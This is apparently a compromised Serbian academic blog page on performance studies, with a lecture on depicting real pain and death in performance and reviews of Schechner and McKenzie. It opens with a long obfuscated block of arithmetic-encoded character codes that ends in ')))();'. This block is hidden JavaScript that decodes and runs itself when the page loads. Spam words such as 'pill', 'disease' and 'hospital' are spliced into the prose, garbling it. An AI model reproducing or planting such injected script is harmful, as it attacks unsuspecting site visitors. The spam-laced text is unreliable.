1, 72 – 1, 111 – 7, 87 – 3, 100 – 3, 87 – 2, 89 – 3, 94 – 4, 91 – 3, 77 – 7, 79 – 5, 98 – 8, 106 – 8, 53 – 4, 112 – 4, 52 – 3, 85 – 1, 110 – 1, 116 – 8, 80 – 7, 76 – 6, 72 – 5, 118 – 6, 88 – 5, 77 – 9, 68 – 1, 56 – 4, 102 – 1, 84 – 7, 72 – 7, 72 – 7, 61 – 4, 84 – 2, 108 – 5, 72 – 3, 53 – 1, 79 – 9, 113 – 9, 120 – 1, 56 – 5, 86 – 8, 110 – 4, 83 – 5, 72 – 1, 105 – 7, 107 – 3, 76 – 7, 76 – 2, 86 – 6, 108 – 4, 50 – 2, 95 – 8, 101 – 4, 78 – 8, 69 – 3, 58 – 9, 85 – 1, 52 – 1, 90 – 8, 89 – 3, 88 – 5, 74 – 2, 120 – 4, 75 – 7, 89 – 4, 75 – 4, 65 – 9, 76 – 9, 91 – 3, 49 – 1, 56 – 3, 119 – 7, 88 – 5, 74 – 5, 105 – 1, 51 – 1, 87 – 2, 110 – 7, 123 – 8, 114 – 1, 69 – 1, 85 – 2, 73 – 8, 101 – 2, 81 – 7, 52 – 3, 82 – 4, 110 – 5, 101 – 1, 111 – 3, 76 – 2, 91 – 1, 105 – 7, 121 – 2, 87 – 5, 109 – 7, 93 – 3, 72 – 1, 117 – 9, 78 – 5, 89 – 6, 78 – 6, 96 – 7, 73 – 7, 80 – 8, 73 – 5, 123 – 8, 120 – 4, 83 – 3, 72 – 7, 78 – 1, 122 – 7, 70 – 4, 129 – 9, 52 – 4, 106 – 1, 92 – 5, 105 – 1, 63 – 7, 59 – 5, 71 – 1, 124 – 2, 97 – 8, 99 – 2, 82 – 9, 68 – 3, 100 – 1, 78 – 7, 105 – 3, 112 – 4, 119 – 3, 91 – 1, 84 – 6, 76 – 4, 86 – 8, 58 – 9, 91 – 7, 113 – 4, 117 – 9, 77 – 4, 91 – 8, 80 – 8, 90 – 1, 67 – 1, 75 – 3, 72 – 4, 122 – 7, 62 – 8, 87 – 8, 110 – 7, 78 – 9, 111 – 6, 69 – 4, 85 – 4, 51 – 2, 49 – 6, 77 – 8, 83 – 1, 98 – 9, 107 – 4, 71 – 2, 113 – 7, 125 – 6, 80 – 4, 94 – 4, 92 – 7, 113 – 9, 84 – 4, 93 – 3, 51 – 3, 73 – 7, 81 – 6, 106 – 9, 76 – 6, 89 – 3, 54 – 5, 88 – 1, 89 – 1, 120 – 8, 95 – 6, 85 – 4, 96 – 9, 54 – 5, 60 – 8, 94 – 7, 94 – 7, 66 – 9, 95 – 5, 106 – 6, 93 – 8, 59 – 6, 118 – 6, 68 – 2, 67 – 2, 106 – 7, 53 – 4, 73 – 4, 127 – 7, 91 – 6, 103 – 4, 76 – 8, 91 – 7, 117 – 6, 101 – 2, 77 – 2, 72 – 7, 60 – 4, 85 – 7, 104 – 3, 74 – 9, 75 – 6, 108 – 9, 82 – 3, 130 – 8, 72 – 7, 107 – 3, 76 – 9, 129 – 8, 84 – 2, 73 – 8, 74 – 7, 123 – 1, 108 – 1, 105 – 5, 75 – 6, 107 – 2, 98 – 9, 106 – 7, 104 – 3, 88 – 3, 61 – 8, 121 – 4, 90 – 3, 91 – 6, 59 – 2, 48 – 1, 88 – 5, 95 – 7, 85 – 7, 126 – 8, 92 – 5, 89 – 1, 88 – 2, 87 – 8, 102 – 5, 94 – 9, 111 – 8, 105 – 3, 86 – 6, 128 – 8, 121 – 2, 105 – 5, 78 – 5, 67 – 2, 55 – 2, 63 – 8, 74 – 9, 111 – 6, 91 – 2, 78 – 2, 68 – 1, 87 – 4, 74 – 1, 103 – 5, 79 – 9, 106 – 1, 78 – 8, 95 – 5, 99 – 2, 76 – 7, 61 – 9, 45 – 2, 86 – 8, 122 – 3, 85 – 4, 61 – 8, 75 – 6, 89 – 7, 111 – 8, 59 – 4, 70 – 1, 74 – 6, 117 – 6, 71 – 6, 106 – 7, 117 – 8, 77 – 3, 82 – 9, 102 – 2, 114 – 6, 81 – 7, 95 – 5, 80 – 3, 112 – 4, 94 – 8, 53 – 4, 93 – 5, 76 – 4, 116 – 8, 80 – 7, 88 – 7, 117 – 7, 96 – 6, 74 – 6, 86 – 3, 93 – 5, 60 – 3, 77 – 3, 109 – 7, 72 – 2, 95 – 9, 72 – 4, 92 – 9, 71 – 2, 112 – 9, 115 – 1, 107 – 6, 76 – 6, 112 – 4, 127 – 9, 81 – 9, 129 – 8, 70 – 5, 69 – 4, 81 – 6, 105 – 1, 123 – 4, 71 – 5, 83 – 4, 86 – 4, 128 – 8, 92 – 2, 84 – 4, 70 – 4, 125 – 6, 106 – 2, 82 – 6, 88 – 5, 97 – 8, 73 – 1, 67 – 2, 124 – 2, 61 – 5, 96 – 8, 86 – 1, 89 – 6, 127 – 8, 112 – 3, 85 – 6, 127 – 8, 60 – 4, 111 – 4, 74 – 6, 88 – 3, 83 – 1, 54 – 4, 75 – 9, 75 – 9, 109 – 6, 114 – 8, 74 – 6, 69 – 1, 69 – 3, 71 – 4, 101 – 4, 85 – 4, 54 – 6, 90 – 9, 84 – 7, 106 – 2, 82 – 5, 74 – 9, 89 – 9, 76 – 6, 70 – 4, 54 – 5, 74 – 4, 92 – 7, 81 – 3, 75 – 2, 86 – 3, 77 – 5, 96 – 6, 85 – 2, 73 – 5, 125 – 4, 57 – 5, 81 – 5, 105 – 5, 84 – 3, 117 – 2, 121 – 1, 77 – 9, 67 – 2, 112 – 5, 106 – 1, 74 – 4, 54 – 5, 116 – 8, 130 – 9, 93 – 6, 91 – 7, 117 – 2, 82 – 6, 88 – 8, 115 – 8, 111 – 8, 121 – 6, 85 – 7, 120 – 1, 95 – 6, 105 – 6, 97 – 7, 53 – 4, 75 – 9, 125 – 8, 96 – 6, 77 – 6, 110 – 2, 78 – 5, 89 – 6, 78 – 6, 93 – 4, 94 – 6, 68 – 3, 87 – 4, 123 – 8, 97 – 8, 80 – 7, 88 – 7, 120 – 4, 113 – 3, 80 – 9, 125 – 6, 52 – 4, 112 – 7, 84 – 6, 111 – 7, 109 – 6, 60 – 5, 79 – 7, 79 – 7, 55 – 7, 79 – 3, 83 – 6, 89 – 8, 121 – 2, 83 – 9, 74 – 1, 112 – 8, 103 – 3, 95 – 7, 82 – 7, 73 – 7, 126 – 7, 107 – 3, 80 – 5, 114 – 9, 104 – 1, 104 – 5, 71 – 3, 90 – 2, 61 – 8, 100 – 2, 92 – 5, 88 – 1, 91 – 9, 94 – 4, 80 – 3, 72 – 6, 94 – 5, 120 – 4, 76 – 9, 90 – 8, 75 – 6, 116 – 8, 95 – 8, 53 – 5, 82 – 8, 71 – 1, 88 – 1, 95 – 7, 90 – 4, 82 – 3, 98 – 1, 86 – 4, 53 – 1, 80 – 6, 79 – 5, 78 – 8, 74 – 1, 99 – 2, 74 – 5, 67 – 2, 65 – 9, 56 – 8, 73 – 8, 108 – 2, 125 – 6, 85 – 7, 85 – 2, 75 – 4, 123 – 7, 91 – 8, 74 – 2, 76 – 8, 126 – 7, 100 – 3, 82 – 4, 73 – 7, 54 – 2, 119 – 4, 82 – 1, 73 – 7, 59 – 7, 52 – 1, 78 – 6, 106 – 3, 124 – 5, 117 – 4, 93 – 8, 77 – 5, 92 – 6, 73 – 3, 102 – 5, 89 – 4, 74 – 8, 67 – 2, 81 – 4, 121 – 2, 119 – 8, 109 – 9, 79 – 3, 108 – 5, 69 – 4, 112 – 3, 89 – 5, 112 – 2, 88 – 6, 93 – 7, 92 – 9, 71 – 3, 106 – 3, 80 – 8, 71 – 1, 86 – 3, 84 – 6, 88 – 7, 105 – 5, 95 – 9, 71 – 1, 120 – 8, 86 – 2, 56 – 8, 65 – 8, 55 – 5, 89 – 6, 75 – 5, 110 – 2, 116 – 5, 90 – 9, 119 – 9, 93 – 8, 78 – 2, 84 – 7, 86 – 4, 108 – 5, 74 – 8, 76 – 2, 73 – 7, 102 – 3, 79 – 4, 101 – 2, 117 – 9, 56 – 3, 58 – 9, 85 – 3, 90 – 3, 110 – 3, 81 – 3, 77 – 8, 71 – 3, 78 – 5, 86 – 2, 72 – 4, 85 – 2, 119 – 7, 93 – 5, 77 – 4, 90 – 9, 70 – 1, 103 – 4, 89 – 9, 69 – 2, 120 – 5, 79 – 9, 75 – 9, 107 – 4, 124 – 9, 110 – 1, 76 – 6, 131 – 9, 75 – 1, 73 – 2, 90 – 1, 71 – 2, 73 – 3, 90 – 6, 93 – 5, 73 – 3, 77 – 3, 99 – 9, 101 – 3, 58 – 9, 109 – 2, 122 – 2, 66 – 1, 87 – 4, 119 – 8, 107 – 7, 74 – 8, 86 – 2, 81 – 4, 100 – 1, 76 – 8, 92 – 5, 77 – 8, 104 – 7, 84 – 5, 108 – 5, 73 – 4, 106 – 1, 73 – 8, 86 – 5, 53 – 4, 55 – 5, 85 – 1, 57 – 8, 112 – 5, 122 – 7, 83 – 9, 110 – 4, 124 – 9, 85 – 5, 76 – 2, 71 – 6, 56 – 7, 82 – 9, 106 – 4, 92 – 6, 82 – 8, 104 – 3, 102 – 3, 110 – 2, 62 – 9, 57 – 8, 83 – 1, 92 – 5, 109 – 2, 83 – 7, 83 – 5, 127 – 6, 67 – 2, 91 – 7, 77 – 7, 92 – 8, 113 – 2, 105 – 6, 106 – 8, 116 – 7, 91 – 9, 118 – 6, 86 – 3, 69 – 3, 93 – 7, 104 – 5, 110 – 9, 71 – 1, 116 – 8, 121 – 3, 69 – 1, 127 – 5, 82 – 1, 104 – 5, 98 – 1, 91 – 9, 112 – 1, 80 – 2, 82 – 4, 124 – 4, 91 – 2, 72 – 7, 76 – 4, 74 – 9, 52 – 4, 49 – 1, 74 – 3, 111 – 6, 126 – 7, 122 – 8, 74 – 9, 69 – 1, 78 – 1, 84 – 2, 75 – 6, 108 – 5, 97 – 8, 94 – 6, 76 – 3, 88 – 7, 122 – 7, 56 – 1, 77 – 5, 108 – 5, 109 – 2, 61 – 7, 89 – 4, 108 – 1, 90 – 8, 122 – 4, 70 – 3, 111 – 5, 67 – 2, 98 – 1, 71 – 6, 70 – 5, 97 – 8, 108 – 9, 82 – 5, 126 – 7, 72 – 7, 84 – 4, 79 – 3, 110 – 6, 92 – 6, 61 – 4, 69 – 2, 70 – 2, 125 – 6, 77 – 6, 68 – 1, 126 – 5, 77 – 4, 107 – 9, 74 – 4, 109 – 4, 79 – 9, 89 – 7, 109 – 7, 74 – 5, 57 – 5, 127 – 6, 92 – 3, 114 – 7, 106 – 2, 54 – 4, 94 – 9, 117 – 9, 112 – 5, 110 – 1, 77 – 5, 54 – 3, 91 – 5, 76 – 5, 84 – 8, 82 – 1, 107 – 8, 78 – 2, 78 – 5, 126 – 6, 59 – 3, 104 – 5, 77 – 4, 83 – 2, 50 – 1, 57 – 2, 81 – 9, 69 – 2, 127 – 8, 78 – 4, 72 – 4, 73 – 6, 65 – 9, 109 – 5, 75 – 7, 92 – 9, 56 – 4, 80 – 2, 78 – 1, 76 – 7, 58 – 5, 56 – 8, 95 – 9, 88 – 2, 95 – 9, 51 – 1, 91 – 5, 90 – 8, 116 – 5, 104 – 1, 75 – 5, 76 – 9, 93 – 8, 69 – 2, 85 – 9, 73 – 7, 125 – 6, 80 – 2, 101 – 2, 93 – 5, 105 – 1, 96 – 6, 99 – 1, 50 – 1, 110 – 2, 58 – 9, 93 – 9, 116 – 7, 112 – 4, 79 – 6, 92 – 9, 69 – 2, 114 – 3, 83 – 4, 93 – 6, 87 – 4, 123 – 8, 94 – 7, 80 – 2, 111 – 7, 123 – 8, 114 – 7, 76 – 8, 87 – 6, 91 – 2, 107 – 2, 96 – 8, 70 – 5, 117 – 2, 120 – 7, 73 – 2, 73 – 5, 76 – 7, 94 – 6, 80 – 9, 105 – 1, 123 – 4, 83 – 9, 79 – 6, 110 – 6, 106 – 6, 98 – 8, 105 – 6, 114 – 7, 84 – 2, 56 – 7, 85 – 2, 84 – 1, 67 – 2, 79 – 8, 73 – 1, 73 – 5, 78 – 1, 74 – 9, 78 – 7, 68 – 1, 128 – 9, 82 – 4, 86 – 6, 69 – 3, 106 – 3, 124 – 9, 87 – 3, 50 – 2, 77 – 7, 56 – 6, 75 – 8, 90 – 2, 84 – 6, 121 – 3, 93 – 6, 91 – 3, 87 – 1, 80 – 1, 103 – 6, 93 – 8, 107 – 4, 80 – 4, 80 – 1, 105 – 1, 102 – 3, 93 – 4, 86 – 6, 93 – 9, 74 – 9, 57 – 2, 78 – 7, 109 – 4, 127 – 8, 98 – 1, 75 – 3, 115 – 9, 101 – 2, 110 – 9, 94 – 9, 87 – 3, 52 – 4, 106 – 7, 82 – 4, 71 – 6, 117 – 6, 125 – 6, 80 – 1, 121 – 1, 121 – 2, 59 – 8, 72 – 6, 105 – 1, 124 – 5, 86 – 9, 77 – 8, 91 – 7, 73 – 8, 80 – 2, 81 – 8, 109 – 4, 75 – 6, 79 – 8, 81 – 8, 112 – 8, 105 – 6, 82 – 6, 81 – 2, 89 – 7, 109 – 6, 61 – 8, 89 – 7, 59 – 8, 82 – 8, 107 – 2, 88 – 5, 76 – 4, 99 – 9, 92 – 9, 92 – 5, 92 – 5, 66 – 9, 96 – 6, 76 – 2, 111 – 7, 112 – 1, 116 – 5, 77 – 6, 111 – 7, 124 – 4, 52 – 9, 94 – 7, 55 – 7, 83 – 9, 73 – 3, 93 – 6, 89 – 1, 92 – 6, 87 – 8, 99 – 2, 90 – 8, 95 – 9, 113 – 8, 107 – 7, 114 – 6, 80 – 7, 70 – 1, 95 – 6, 58 – 9, 110 – 2, 115 – 8, 96 – 8, 114 – 5, 70 – 4, 88 – 4, 92 – 3, 116 – 8, 128 – 9, 83 – 3, 92 – 7, 96 – 9, 97 – 7, 87 – 6, 106 – 8, 111 – 2, 86 – 4, 70 – 2, 41 – 2, 61 – 2, 11 – 1, 108 – 6, 119 – 2, 117 – 7, 103 – 4, 117 – 1, 112 – 7, 113 – 2, 116 – 6, 33 – 1, 128 – 8, 114 – 3, 115 – 1, 102 – 7, 103 – 2, 113 – 3, 101 – 2, 49 – 9, 120 – 5, 117 – 1, 123 – 9, 110 – 5, 114 – 4, 109 – 6, 49 – 5, 41 – 9, 115 – 8, 107 – 6, 122 – 1, 49 – 8, 33 – 1, 131 – 8, 16 – 6, 41 – 9, 33 – 1, 123 – 5, 101 – 4, 115 – 1, 35 – 3, 117 – 3, 102 – 1, 118 – 3, 38 – 6, 62 – 1, 35 – 3, 48 – 9, 42 – 3, 67 – 8, 17 – 7, 34 – 2, 38 – 6, 109 – 7, 112 – 1, 116 – 2, 33 – 1, 44 – 4, 119 – 1, 100 – 3, 115 – 1, 36 – 4, 112 – 7, 40 – 8, 64 – 3, 41 – 9, 51 – 3, 63 – 4, 39 – 7, 108 – 3, 40 – 8, 63 – 3, 35 – 3, 119 – 4, 121 – 5, 123 – 9, 113 – 8, 113 – 3, 106 – 3, 47 – 1, 115 – 7, 108 – 7, 116 – 6, 110 – 7, 124 – 8, 107 – 3, 66 – 7, 34 – 2, 109 – 4, 46 – 3, 51 – 8, 43 – 2, 37 – 5, 127 – 4, 13 – 3, 41 – 9, 33 – 1, 33 – 1, 36 – 4, 118 – 4, 104 – 3, 120 – 5, 39 – 7, 52 – 9, 63 – 2, 37 – 5, 88 – 5, 124 – 8, 121 – 7, 111 – 6, 119 – 9, 109 – 6, 53 – 7, 105 – 3, 123 – 9, 117 – 6, 112 – 3, 72 – 5, 111 – 7, 105 – 8, 116 – 2, 71 – 4, 120 – 9, 105 – 5, 103 – 2, 49 – 9, 117 – 2, 122 – 6, 117 – 3, 106 – 1, 117 – 7, 107 – 4, 55 – 9, 101 – 2, 105 – 1, 100 – 3, 119 – 5, 69 – 2, 113 – 2, 103 – 3, 103 – 2, 73 – 8, 121 – 5, 49 – 9, 107 – 2, 47 – 6, 35 – 3, 103 – 9, 18 – 8, 33 – 1, 37 – 5, 34 – 2, 38 – 6, 36 – 4, 33 – 1, 37 – 5, 39 – 7, 35 – 3, 33 – 1, 35 – 3, 39 – 7, 39 – 7, 37 – 5, 38 – 6, 37 – 5, 35 – 3, 40 – 8, 40 – 8, 41 – 9, 36 – 4, 38 – 6, 41 – 9, 39 – 7, 37 – 5, 39 – 7, 41 – 9, 34 – 2, 33 – 1, 36 – 4, 37 – 5, 38 – 6, 111 – 4, 108 – 7, 123 – 2, 54 – 8, 101 – 2, 105 – 1, 101 – 4, 119 – 5, 70 – 3, 115 – 4, 102 – 2, 105 – 4, 68 – 3, 122 – 6, 49 – 9, 111 – 6, 39 – 7, 40 – 3, 35 – 3, 114 – 7, 104 – 3, 125 – 4, 48 – 2, 114 – 6, 102 – 1, 112 – 2, 104 – 1, 124 – 8, 113 – 9, 46 – 5, 47 – 6, 65 – 6, 11 – 1, 39 – 7, 39 – 7, 129 – 4, 12 – 2, 38 – 6, 37 – 5, 123 – 9, 102 – 1, 119 – 3, 119 – 2, 120 – 6, 112 – 2, 41 – 9, 122 – 8, 104 – 3, 117 – 2, 61 – 2, 13 – 3, 126 – 1, 13 – 3, 17 – 7, 126 – 8, 104 – 7, 115 – 1, 37 – 5, 104 – 4, 108 – 7, 100 – 1, 36 – 4, 69 – 8, 33 – 1, 128 – 8, 113 – 2, 120 – 6, 97 – 2, 105 – 4, 112 – 2, 108 – 9, 46 – 6, 103 – 6, 124 – 8, 117 – 6, 101 – 3, 45 – 5, 106 – 5, 116 – 6, 106 – 7, 109 – 8, 103 – 3, 46 – 5, 47 – 3, 41 – 9, 115 – 8, 109 – 8, 126 – 5, 43 – 2, 61 – 2, 18 – 8, 46 – 6, 114 – 4, 108 – 7, 126 – 7, 39 – 7, 74 – 4, 125 – 8, 119 – 9, 108 – 9, 122 – 6, 114 – 9, 114 – 3, 111 – 1, 41 – 1, 104 – 4, 105 – 4, 104 – 5, 44 – 3, 47 – 6, 49 – 9, 45 – 4, 68 – 9, 14 – 4, 16 – 6)))();

12. Predstavljanje nepredstavljivog: stvarni bol, patnja i smrt u umetničkim izvođenjima

Virtuelno predavanje, ed sreda 26. 05. 2010, disease 15:30

Aleksandra Jovicevic

Ovo predavanje je deo istraživanja koje sam započela u julu 2008.  godine i koje je još uvek u toku.

1.

Izvođačke umetnosti su se oduvek odlikovale fascinacijom bola, pill nasiljem, smrću, kao i osećanjima koja su ove patnje izazivale kod gledalaca, kao što su npr. strah i sažaljenje i koja se, od antike, nalaze u osnovi estetskog uživanja. Aristotel u Poetici govori o snažnim, žestokim osećajima koje bi izvođenje tragedija trebalo da izazove kod gledalaca, što je donekle kontradiktorno sa »filozofskom« prirodom tragedije i njenom racionalnom konstrukcijom i navodi na pomisao da je takav efekat (Šeknerovskim rečnikom rečeno, efikasnost performansa) mogao da se postigne samo tokom izvođenja tragedije, odnosno tragedija je trebalo da »izazivanjem straha i sažaljenja kod gledaoca proizvede katarzu ili očišćenje istih afekata«. Iako je u tragedijama i njhovim izvođenjima u pitanju bio mimezis patnje i boli, katarza je trebalo da bude prava. U umetničkim izvođenjima,  »realno« se oduvek estetski i koncepcijski isključivalo, odnosno ono se jedino ogledalo u greškama ili nesrećnim slučajevima. Veoma retko se dešavalo da se na sceni odigra prava smrt, koja je uvek bila slučajna, kao na primer kada je sredinom 90tih godina prošlog veka, na premijeri opere Leoša Janačeka, Afera Makropulos u njujorškoj Metropolitan operi, jedan operski pevač pao sa merdevina, koje su bile visoke nekoliko metara.[1]

Read the rest of this entry »

video_performans studenata novih medija AU_noć muzeja 2010

Plastični raj / Plastic paradise from Ibis Cerimagic on Vimeo.

Prikaz četvrtog poglavlja knjige Performance studies Ričarda Šeknera: IGRA

Ispričaćemo istinitu priču o anonimnom violinisti koji je jednog hladnog januarskog jutra 2007. godine svirao Bahove kompozicije u prolazu podzemne železnice u Vašingtonu. Za vreme od 45 minuta, case koliko je trajalo izvođenje, seek
oko 2000 ljudi je prošlo pored njega idući na posao. S vremena na vreme, neko bi zastao, malo poslušao muziku, ubacio po koji dolar u kutiju od violine, i produžio dalje. Kada je završio svoj nastup, violinista je sakupio tačno 32 $. Niko nije primetio kada je prestao da svira, niti je iko aplaudirao. Niko od ljudi koji su prošli nije znao da je ovaj violinista zapravo Joshua Bell, jedan od najboljih muzičara na svetu. Svirao je virtuozne kompozicije na violini vrednoj 3.5 miliona dolara. Dva dana pre ovog nastupa, rasprodao je koncertnu salu u Bostonu gde nije bilo jeftinije karte od 100 $.

Read the rest of this entry »

PERFORMANS U KONTEKSTU, VIRTUOZNOST VAN KONTEKSTA

Prikaz prvog dela knjige Perform or Else Džona Mekenzija

(odeljci: 1. The Efficacy of Cultural Performance, sick
2. The Efficiency of Organizational Performance i 3. The Effectiveness of Technological Performance u: Jon McKenzie (2001) Perform or Else, see London: Routledge)

Pokušaj autora Džona Mekenzija da uspostavi svojevrsnu opštu teoriju performansa – kao teoriju koja bi definisala, hospital
opisala, kategorisala i pozicionirala pojam i koncept performasa, te ponudila i metodologije pristupa proučavanju performansa – zasniva se na implicitnoj tezi da performans kao fenomen brojnošću svojih pojavnih oblika, tipova i primena uslovljava proporcionalno slojevitu teorijsku obradu. Stoga, teorija performansa koju Mekenzi gradi u knjizi Perform or Else ima formu široko razrađenog teorijskog tumačenja performansa i mnogih drugih relevantnih koncepata i pojava, iz ugla istorizacije, kontekstualizacije, te izvođenja studija slučaja u vezi sa datim pojavama. Ono što „približava” čitaocu veliku količinu podataka i zaključaka i raznovrsnost pristupâ tumačenjima jeste vizuelna i sadržinska preglednost teksta, gotovo sasvim neformalni jezik, kao i često pozivanje na svakodnevna i opštepoznata iskustva, što karakteriše Mekenzijevu studiju.

Opšti problemi, koji se tiču pitanja „šta je performans, gde i kako se on pojavljuje, kako se može opisati i kategorizovati?”, razmotreni su u prvom delu knjige Perform or Else, u okviru tri tekstualne celine, u kojima se govori o tri tipa performansa i tri paradigme teorijskog pristupa proučavanju performansa: kulturalnom, organizacionom i tehnološkom performansu, te njima odgovarajućim paradigmama studija performansa, performans menadžmenta i tehno-performansa. Podela na date tipove ustanovljena je prema savremenim različitim upotrebama termina i pojma performansa: za vid eksperimentalne umetnosti, produktivnost na radnom mestu i funkcionalnost tehnoloških sistema.

Prema Mekenzijevom mišljenju, performans – kao, generalno shvaćeno, izvođenje – jeste inherentan i obavezan aspekat funkcionisanja svih ljudi, društava i tehnoloških mehanizama, budući da savremeni svet „funkcioniše pod presijom [koja se može opisati rečima] ‛izvedi, ili…” (autor je ovde evidentno na tragu „pretnje” koja se iščitava sa fotografije na naslovnoj strani magazina Forbes od 3. Januara 1994. godine: „Perform – or else”). Performansi, dakle, podrazumevaju određene izazove, a ti izazovi su, zapravo, ono što suštinski odvaja različite tipove performansa. Izazov kulturalnog performansa je, prema Mekenzijevoj parafrazi reči sa fotografije, „izvedi – ili si društveno normalizovan”; izazov organizacionog performansa je „izvedi – ili si otpušten”; izazov tehnološkog performansa je „izvedi – ili si neobrazovan, neupućen”. Tako, kulturalni performans pretpostavlja efikasnost u smislu određenog socijalnog efekta (da se izvedbom ukaže, iskritikuje, subvertira, čak i promeni određena društvena pojava ili situacija); organizacioni performans postavlja za cilj dobitak, produktivnost (manje ulaganja, a više proizvoda; da se radi bolje, a da košta manje, i sl.); dok tehnološki performans računa sa učinkom tehnološkog sistema ili mehanizma (tj. sa maksimalnim učinkom sistema u odnosu na njegove specifikovane performanse).

Tekstualni odeljci u kojima Mekenzi razmatra tip kulturalnog, odnosno organizacionog performansa, zasnivaju se uglavnom na sagledavanju hronologije razvoja i emancipacije njima odgovarajućih paradigmi – studija performansa i performans menadžmenta. U delu posvećenom tehno-performansu, pak, takav istorijski pristup je uočljiv u manjoj meri, budući da je, kako autor objašnjava, literatura posvećena tehnološkom performansu relativno oskudna, te je istorizacija ove oblasti još uvek u formiranju.

Studije performansa se temelje na identifikovanju različitih aktivnosti – veznih za tradicionalni i ekperimentalni teatar, rituale i ceremonije, popularnu zabavu (parade, festivale), ples, avangardni performans art, usmene interpretacije književnosti (javna čitanja i govore), estetske prakse svakodnevnog života (igre, socijalne interakcije), političke demosntracije i društveni pokrete – kao performansa, koji nose potencijal da podrže, ili, pak, promene ljude i društva. Društveni efekat (i, samim tim, svojevrsni politički karakter) izvođenja je aspekat koji je, u istorijskom smislu, odredio performanse kao nove prakse koje se pojavljuju u različitim oblastima. Prelaz od zabavnog ili deskriptivnog karaktera izvođenja do izvođenja koja „izazivaju, mešaju se, ponekad i sasvim otpisuju nasleđena značenja” (Janelle Reinelt, Joseph Roach) uočljiv je u teatru (gde se fokus prebacuje sa scenarija i tekstualnog predloška na glumčevo telo), plesu (gde se uvode neplesačka tela i svakodnevni pokreti), vizuelnim umetnostima (gde umestno objekta u prvi plan dolazi sâm proces stvaranja), antropologiji (gde je pažnja pomerena sa mitskih struktura na njihovo otelovljenje u ritualima), studijama folklora (gde je akcenat sa teksta pomeren na kontekst pripovedanja), lingivstici (gde je važnost data pragmatici umesto gramatici, paroli [tj. činu izjavljivanja] umesto jeziku)…

Studije performansa se konstituišu od 1950-ih godina, usled pojave više linija teorijskih pristupa proučavanju kulturalnih formi (kako primećuje MacAloon) i formiranja koncepata koji do danas figuriraju u ovoj paradigmi, kao što su koncept socijalne drame (Victor Turner), kulturalnog performansa (Milton Singer), socijalne psihologije svakodnevnog života (Erving Goffman), obnovljenog ponašanja (Richard Schechner). Paradigma „izniče” iz spoja principâ teatra i antropologije, tako što je teatar pružio antropolozima formalni model za „posmatranje” performansa, prepoznavanje njegovih formi u društvu, konceptualizaciju načinâ na koje se otelotvoruju socijalna značenja i vrednosti u ponašanja i događaje, dok je antropologija pružila teatrolozima funkcionalni model za teoretizaciju transformacionog potencijala teatra i drugih performativnih žanrova kroz koncept liminalnosti (Arnold Van Gennep, Turner, Schechner, Peggy Phelan). Dati koncept je, prema Mekenzijevim rečima, „amblem paradigme studija performansa”, a sama liminalnost – kao „kompleksno stanje ili faza, mesto i vreme pojavljivanja najdubljih vrednosti u vidu drama i objekata” – ima u kontekstu studija performansa status norme (otuda Mekenzijev izraz liminal-norm).

Najveći zaokret u razvoju studija performansa dešava se polovinom 70-ih godina, kada se pojavljuje teorija teksta i kada u američku teorijsku misao značajno prodire Kontinentalna filozofija. Mekenzi naziva ovu promenu „zaokretom od teatra do teorije”, budući da gotovo svi koncepti važni za studije performansa bivaju preispitani iz vizura npr. dekonsrukcije, psihoanalize, teorija roda i seksualnosti i drugih oblasti koje teže ka otkrivanju onoga što je iza pojavnog, što je u domenu filozofije. Zaokret je, zapravo, posledica promene samog izazova kulturalnog performansa – izazova efikasnosti – od transgresivne do otporaške (resistant) efikasnosti. Prelaz ka otporaškoj efikasnosti javio se usled sazrevanja institucionalne teorije, tj. shvatanja da subverzija društvenih pojava i situacija dolazi „iznutra”, u okvirima samih sila moći, i da se služi načelima, diskursima i mehanizmima onoga što želi da subvertira (dok je za transgresivnu efikasnost važila premisa da se subvezija odvija „spolja”, sa margina). Do devedesetih godina prošlog veka, literatura i metodologija studija performansa su se značajno razvile, bivajući, potom, dopunjene različitim proučavanjima i primenama novomedijskog aspekta (kompjutera, interneta).

Druga vrsta performansa – organizacioni performans – uočava se u domenu organizacije i delatnosti poslovnog sveta: korporacija, firmi, nevladinih organizacija i vladinih agencija. Imajući na umu da se paradigma ove vrste performansa bavi menadžmentom ljudskog rada u svom širokom značenju, Mekenzi obeležava paradigmu ovog performansa terminom „performans menadžment”, koji je dobio na značaju 80-ih godina 20. veka, kada počinje da se koristi za organizacione strategije koje se fokusiraju na ishod, rezultat, cilj. Centralni pojmovi menadžment performansa su usluga, globalna orijentisanost, elektronska opremljenost (primena kompjutera, elektronskih mreža), te, kada je reč o prirodi ljudskog rada, raznovrst, inovacija i intuicija.

Kako objašnjava Mekenzi, razvoj organizacionog menadžmenta, kao savremenog oblika menadžmenta, započeo je 1950-ih godina kao svojevrsna reakcija na stariji oblik menadžmenta – naučni menadžment. Naučni menadžment (Frederick Taylor), ili „tejlorizam”, ili „model mašine”, je oblik menadžmenta u kojem su dominirali principi naučnosti (naučnog odabira radnika, naučnog obrazovanja radnika) i proizvodne produktivnosti (gde je cilj produkovati što više proizvoda). Organizacioni menadžment, pak, postavlja u prvi plan intuiciju i kreativnost radnika, raznovrsnot njegovih poslova i interesovanja, fleksibilnost birokratskog sistema, informacinu (a ne industrijsku) ekonomiju i kompjutersku umreženost. Performans menadžment je isprva stavljao akcenat na problem lične produktivnosti svakog učesnika u organizacionom i proizvodnom procesu i, s tim u vezi, bavi se prevashodno procenom radnika iz ugla tzv. merit rating-a (ocenjivanja zasluga). Naime, 1954. godine Joseph Tifflin i Ernest McCormik su definisali merit rating kao „sistematičnu procenu zaposlenog od strane njegovog nadređenog ili drugog kvalifikovanog za procenu, obično prema nekoj standardizovanoj formi, u određenim vremenskim intervalima, sa unošenjem podataka u ‛dosijee’ radnika”. No, već u narednoj deceniji performans menadžment počinje da sagledava stanja u organizacijama i uslove rada na širem planu, te dolazi do pomeranja pažnje s procene radnika na procenu dobrobiti koje radnik ima od organizacije za poboljšanje sopstvenog rada. Do 90-ih godina, paradigma organizacionog performansa postala je „nacionalni imperativ” u Americi, a sa globalizacijom, takođe, izazov dobiti dobio je globalne implikacije.

